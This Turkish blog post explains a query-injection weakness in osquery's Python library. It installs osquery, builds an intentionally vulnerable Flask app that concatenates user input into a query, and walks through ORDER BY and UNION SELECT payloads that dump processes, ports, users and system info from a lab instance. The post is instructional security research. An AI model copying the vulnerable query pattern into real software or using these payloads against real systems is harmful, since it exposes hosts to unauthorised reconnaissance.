osquery Injection

Omer Citak - 25 Mayıs 2018 -

osquery, Facebook tarafından geliştirilen, işletim sistemi üzerinde SQL syntax'ı ile komut çalıştırmaya yarayan bir araç. Şu an en güncel sürümü 2.11.2 ve macOS, CentOS, Ubuntu ve Windows gibi popüler işletim sistemi ve dağıtımları destekliyor. osquery, syntax olarak SQL benzeri bir yapıda olduğundan tıpkı SQL dilini kullanan veri tabanları gibi tabloları kullanıyor. osquery kurulduğu vakit bir takım ön tanımlı tablolar ile birlikte geliyor. Tabii ki sonrasında ek tablolar eklenebiliyor. Bu blogpostta ise osquery'de açıpa çıkan "osquery Injection" zafiyetinden bahsediyoruz.

osquery Injection

osquery Nedir?

osquery, Facebook tarafından geliştirilen, işletim sistemi üzerinde SQL syntax'ı ile komut çalıştırmaya yarayan bir araç. Şu an en güncel sürümü 2.11.2 ve macOS, CentOS, Ubuntu ve Windows gibi popüler işletim sistemi ve dağıtımları destekliyor.

osquery, syntax olarak SQL benzeri bir yapıda olduğundan tıpkı SQL dilini kullanan veri tabanları gibi tabloları kullanıyor. osquery kurulduğu vakit bir takım ön tanımlı tablolar ile birlikte geliyor. Tabii ki sonrasında ek tablolar eklenebiliyor

Ön tanımlı gelen tabloların listesine şuradan erişebilirsiniz: https://osquery.io/schema/2.11.2

Kurulum

Kurulum için öncelikle osquery reposunu eklememiz gerekiyor.

$ sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 1484120AC4E9F8A1A577AEEE97A80C63C9D8B80B
$ sudo add-apt-repository "deb [arch=amd64] https://osquery-packages.s3.amazonaws.com/xenial xenial main"

Ardından repoları güncelleyip, osquery'i kuruyoruz.

$ sudo apt-get update
$ sudo apt-get install osquery

Kurulum işlemi sonrası 3 farklı osquery komponenti kurulmuş olacak.

  1. osqueryi: Terminal üzerinden osquery sorguları çalıştırmanıza yarayan interaktif kabuk.
  2. osqueryd: Arkaplanda yürütülen zamanlanmış veya çalışan sorgular için deamon.
  3. osqueryctl: Osquery'nin yayınlanmasını veya yapılandırmasını sınamak için bir yardımcı komut dosyası.

Örnek Kullanımlar

Sistemdeki tüm kullanıcıları listelemek

SELECT * FROM users;

Sistemdeki Kullanıcıları Listelemek

Process'in adını, portunu ve PID'sini listelemek

SELECT DISTINCT processes.name, listening_ports.port, processes.pid FROM listening_ports JOIN processes USING (pid);

Process'in adını portunu ve PID sini listelemek

Sisteme giriş yapmış kullanıcılar

SELECT * FROM logged_in_users;

Sisteme Giriş Yapmış Kullanıcılar

osquery Python

Facebook, osquery Python üzerinden de kullanılabilsin diye osquery-python kütüphanesini yayınladı. Diğer diller için kütüphaneleri ise yakın zamanda yayınlamayı planlıyor. Kütüphane ne yazık ki sadece Python3 ile çalışıyor. Python2.7 ile çalışmıyor. O yüzden projenize pip3 ile dahil edip, Python3 ile çalıştırmalısınız.

osquery'yi Python içerisinde kullanmak oldukça basit. Zira paket pip3'te mevcut. Aşağıdaki komut ile projenize dahil edip kullanmaya başlayabiliyorsunuz.

$ pip3 install osquery

Örnek kullanımı şu şekildedir:

import osquery

if __name__ == "__main__":
    instance = osquery.SpawnInstance()
    instance.open() 
    result = instance.client.query("select timestamp from time")
    print(result)

osquery Python Kullanımı

osquery Injection

osquery Injection, tıpkı SQL Injection veya Memcache Injection gibi kütüphanenin kötüye kullanılmasından ortaya çıkan bir zafiyettir. osquery'nin kendinde Prepared Statement desteği olmadığından Facebook tarafından yayınlanan resmi Python kütüphanesinde de Prepared Statement desteği yok. Dolayısı ile sorgunun herhangi bir kısmına kullanıcıdan alınan bir girdi yerleştirilmek zorunda kalındığında saldırgan tarafından zafiyet sömürülüp, farklı sorgular çalıştırılabiliyor.

Bunun için aşağıdaki gibi örnek bir kod yazdım.

from flask import Flask, request
app = Flask(__name__)
import osquery

@app.route("/")
def prod():
    name = request.values.get('username')
    instance = osquery.SpawnInstance()
    instance.open()
    result = instance.client.query("select username, description from users where username='"+name+"'")
    status = result.status
    results = result.response

    output = str(status)+"<br>"
    output += "<table border='1'>"
    output += "<tr><td>username</td><td>description</td></tr>"
    for user in results:
        output += "<tr><td>"+user['username']+"</td><td>"+user['description']+"</td></tr>"
    output += "</table>"

    return str(output)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=35275, debug=False)

Yukarıdaki kod çok basitçe GET metodundan aldığı kullanıcı adını sorguya dahil ederek o kullanıcı hakkında bir takım bilgiler veriyor.

Kod üzerinde birazdan anlatacağımız testleri gerçekleştirmek için kodu aşağıdaki gibi Docker üzerinden ayağa kaldırabilirsiniz.

$ git clone https://github.com/Om3rCitak/osquery-injection.git
$ cd osquery-injection/
$ docker-compose u

Bu işlemlerden sonra kodunuz çalışıyor olacak. Aşağıdaki adresten ayağa kaldırdığınız uygulamaya erişebilirsiniz.

http://{docker_ip_adress}:35275/?username=systemd-network

Kodumuzda kullanıcıdan aldığımız girdiyi şu şekilde sorguya dahil ediyorduk:

select username, description from users where username='"+name+"'

Yani aşağıdaki gibi bir istek gönderir isek sorgumuz aşağıdaki gibi değişecek ve sonuç olarak "systemd-network" kullanıcısına ait detayları getirecek.

URL: http://192.168.192.128:35275/?username=systemd-network
Sorgu: select username, description from users where username='systemd-network'

Bu kod zafiyet içeriyor. Bir şekilde bu sorgunun dışına çıkıp, diğer tablolardan istediğimiz bilgileri çekmeliyiz. Bunun için şunlara ihtiyacımız var;

  1. Sorgu içerisinde çekilen kolon sayısı
  2. Tablo adları

Kolon sayısına "union based" atak yapacağımızdan ihtiyacımız var. Zira osquery içerisinde UNION ile birden fazla tablodan veri çekebiliyoruz. Tek koşul, UNION ile birleştireceğimiz her 2 sorgunun da kolon sayılarının eşit olması.

1. Kolon Sayısı

SQL'de olduğu gibi osquery'de de "ORDER BY" parametresi mevcut. "ORDER BY" ile belirttiğimiz kolon adı ve sıralama tipine göre çıktı sonuçlarını sıralar.

Tıpkı SQL Injection'da olduğu gibi osquery Injection'da da kolon sayısını "ORDER BY" ile tespit edebiliyoruz.

SQL Injection'da kolon sayısını binary search ile tespit etmek zorunda kalıyorduk. Zira kolon sayısını doğrudan öğrenemiyor, sadece gönderdiğimiz değerin küçük mü büyük mü olduğunu görebiliyor idik. osquery'de ise durum tam tersi. Kolon sayısından büyük bir değer gönderdiğimiz vakit doğrudan bize kaç kolon olduğunu veriyor. Böylelikle binary search'e ihtiyaç duymuyoruz.

http://192.168.192.128:35275/?username=systemd-network' ORDER BY 999 -- 

Osquery Injection Kolon Sayısı

Yukarıdaki görselde göründüğü üzere "ORDER BY" için "999" değerini gönderdik ve bize şu şekilde bir daha mesajı gösterildi: "Error running query: 1st ORDER BY term out of range - should be between 1 and 2"

Göndermemiz gereken ORDER BY değerinin 1 ile 2 arasında olması gerektiğini söylüyor. Bu hata mesajından kolon sayımızın 2 olduğunu anlıyoruz.

Yukarıdaki sorguda ve sonraki sorgularda sorgu sonunda yazdığımız "--" ise tek yorum satırı karakteridir. Sorgumuzu düzenledikten sonra sorgu sonunda kalacak olan tek tırnak karakterini sorgumuzun syntaxını bozmasın diye yorum satırı içerisini dahil etmemiz gerekiyor.

http://192.168.192.128:35275/?username=systemd-network' union select 1,2 from processes -- 

Osquery Injection Kolon Sayısı-2

Yukarıdaki görsel ise her 2 kolonun çıktı olarak nerelere basıldıklarını görüyoruz.

2. Tablo Adları

Tablo adlarını bulmak ilk adıma göre çok daha kolay. Zira zaten ön tanımlı olarak gelen tablolar şu adreste yer alıyor: https://osquery.io/schema/2.11.2

Sonradan eklenmiş custom tabloları öğrenmek için ne yazık ki bir yol yok. MySQL'de tablo isimleri "information_schema" veri tabanında tutulduğundan "information_schema" üzerinden tablo isimlerine ulaşabiliyorduk. osquery'de tablo isimlerinin tutulduğu ayrı bir yapı yok.

Diğer Tablolardaki Verilere Ulaşmak

osquery'nin üzerinde çalıştığı işletim sistemini ve versiyonunu öğrenmek için şu şekilde bir sorgu gönderiyoruz:

http://192.168.192.128:35275/?username=systemd-network' union select build_platform,version from osquery_info --

Osquery Injection diger tablolardaki verilere ulaşmak

Sistemde çalışan tüm processleri öğrenmek için şu şekilde bir sorgu gönderiyoruz:

http://192.168.192.128:35275/?username=systemd-network' union select cmdline,path from processes --

Osquery Injection sistemde çalışan tüm processler

Dinlenen portları ve portları dinleyen servislerin PID'lerini öğrenmek için şu şekilde bir sorgu gönderiyoruz:

http://192.168.192.128:35275/?username=systemd-network' union select pid,port from listening_ports --

Osquery Injection dinleyen ve dinlenen PID'ler

Sistemdeki tüm kullanıcıları öğrenmek için şu şekilde bir sorgu gönderebiliriz:

http://192.168.192.128:35275/?username=systemd-network’ union select username,description from users --

http://192.168.192.128:35275/?username=systemd-network' union select username,description from users --

Ancak sorgumuz hali hazırda "users" tablosu içerisinde olduğundan daha kısa bir yol ile şu şekilde de sistemdeki tüm kullanıcılara ulaşabiliyoruz:

http://192.168.192.128:35275/?username=systemd-network' or 1=1 --

Osquery Injection tüm kullanıcılara ulaşmak

Kaynaklar